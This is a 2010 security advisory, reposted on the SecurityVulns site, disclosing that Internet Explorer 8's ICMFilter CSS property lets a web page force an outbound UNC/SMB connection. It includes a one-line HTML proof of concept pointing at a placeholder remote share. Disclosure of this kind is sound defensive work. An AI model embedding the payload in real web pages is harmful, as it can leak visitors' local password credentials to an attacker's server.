Информационная безопасность
[RU] switch to English


Дополнительная информация

  Утечка информации в Microsoft Internet Explorer

From:Tim Starling <tstarling_(at)_wikimedia.org>
Date:28 мая 2010 г.
Subject:Arbitrary UNC file read in IE 8

Internet Explorer is vulnerable to a drive-by arbitrary UNC file read,
with the usual consequences (local account password disclosure, etc.) as
in IE6 before SP1. It is in ICMFilter, which is accessible via the CSS
filter property. Sample exploit code:

<div
style="-ms-filter:&quot;progid:DXImageTransform.Microsoft.
ICMFilter(colorSpace=
'\\\\example.com\\test') &quot;">ICMFilter</div>

IE attempts to contact the remote server when the element is scrolled
into view. The consequences of this are discussed in the context of
previous vulnerabilities at:

http://archives.neohapsis.com/archives/win2ksecadvice/2000-q1/0201.html

I have not checked the ICM file parser for further escalation, but I
think that the risk of disclosure of weak local passwords is sufficient
to warrant concern.

I contacted Microsoft and someone named Tony informed me that it's a
bug, not a security vulnerability, whatever that means.

-- Tim Starling

О сайте | Условия использования
© SecurityVulns, 3APA3A, Владимир Дубровин
Нижний Новгород